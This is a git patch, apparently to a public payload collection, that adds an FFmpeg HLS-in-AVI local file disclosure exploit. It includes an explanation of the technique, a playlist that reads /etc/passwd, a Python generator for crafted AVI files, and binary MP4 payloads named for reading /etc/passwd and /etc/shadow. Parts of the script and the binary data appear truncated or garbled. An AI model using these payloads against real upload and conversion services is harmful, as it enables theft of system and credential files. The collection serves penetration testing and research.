From ab63a537e73a4e195454357137540aed17ce9fa3 Mon Sep 17 00:00:00 2001 From: Swissky Date: Wed, 28 Jun 2017 22:45:36 +0200 Subject: [PATCH] FFMpeg injection - Bypass and explanation --- Upload insecure files/Ffmpeg HLS/README.md | 22 ++++++++++ .../Ffmpeg HLS/gen_avi_bypass.py | 38 ++++++++++++++++++ .../Ffmpeg HLS/read_passwd_bypass.mp4 | Bin 0 -> 10761 bytes .../Ffmpeg HLS/read_shadow_bypass.mp4 | Bin 0 -> 10761 bytes 4 files changed, 60 insertions(+) create mode 100644 Upload insecure files/Ffmpeg HLS/gen_avi_bypass.py create mode 100644 Upload insecure files/Ffmpeg HLS/read_passwd_bypass.mp4 create mode 100644 Upload insecure files/Ffmpeg HLS/read_shadow_bypass.mp4 diff --git a/Upload insecure files/Ffmpeg HLS/README.md b/Upload insecure files/Ffmpeg HLS/README.md index e8f5b85..9d33035 100644 --- a/Upload insecure files/Ffmpeg HLS/README.md +++ b/Upload insecure files/Ffmpeg HLS/README.md @@ -10,7 +10,29 @@ FFmpeg is an open source software used for processing audio and video formats. Y 5. If you are lucky, you'll the content of `` from the server. ``` +## How it works (Explanations from neex - Hackerone links) +the script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this: +``` +#EXTM3U +#EXT-X-MEDIA-SEQUENCE:0 +#EXTINF:1.0 +GOD.txt +#EXTINF:1.0 +/etc/passwd +#EXT-X-ENDLIST +``` +To process a playlist ffmpeg concatenates all segments and processes it as single file. +To determine the type of this file FFmpeg uses the first segment of the playlist. +FFmpeg processes .txt files in a special way. It tries to show a screen capture of a tty printing this file. + +So, the playlist above will be processed as follows: +FFmpeg sees #EXTM3U signature inside GAB2 chunk and determines file type as HLS playlist. +The file GOD.txt doesn't even exist, but it's name is enough for FFmpeg to detect file type as .txt. +FFmpeg concatenates the contents of all segments of the playlist. As only one of two segments actually exists, the result of concatenation is just the contents of the file we want to retrieve. +Because the type of this concatenation is .txt, FFmpeg draws a tty that prints the file. + ## Thanks to * [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831) +* [Hackerone - Another local file disclosure via ffmpeg](https://hackerone.com/reports/243470) * [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) * [Script by @neex](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py) diff --git a/Upload insecure files/Ffmpeg HLS/gen_avi_bypass.py b/Upload insecure files/Ffmpeg HLS/gen_avi_bypass.py new file mode 100644 index 0000000..2aea429 --- /dev/null +++ b/Upload insecure files/Ffmpeg HLS/gen_avi_bypass.py @@ -0,0 +1,38 @@ +import struct +import argparse + +AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" + + +def make_txt_packet(content, fake_packets=50, fake_packet_len=200): + content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content + packet = b'00tx' + struct.pack('3*%YvQ1Tz^RMrWU<%UL~4XW>PSEX2}VO3WN~ouS2*x<{2BZd zzr!{`wr}~O$$QD=yMDd*-s}6c69s{y;q@cuCh8`86{W_b*>o_Uj4!Bv`Dx$&j2e}< zV!cz;71d?2-YoX4oElj^o6=mLl`ryabB|qRof! zGx3#i^|~L$fqUA}C*`KrePTLZ92(cr)$rDD&=>vQ*nG%`&6h!zy^czeiG6z^tw+PJ zt&9HWM|{uUrUyRYBbfmHH_5d5Uf{#eOi}?pl41D4?i3*%YvQ1Tg;N*9WU)tWA~ixGbtIrE35J9=$l~DQuW;b!_%r%b z{0>WkY~S)lllPL#cl~1D4?i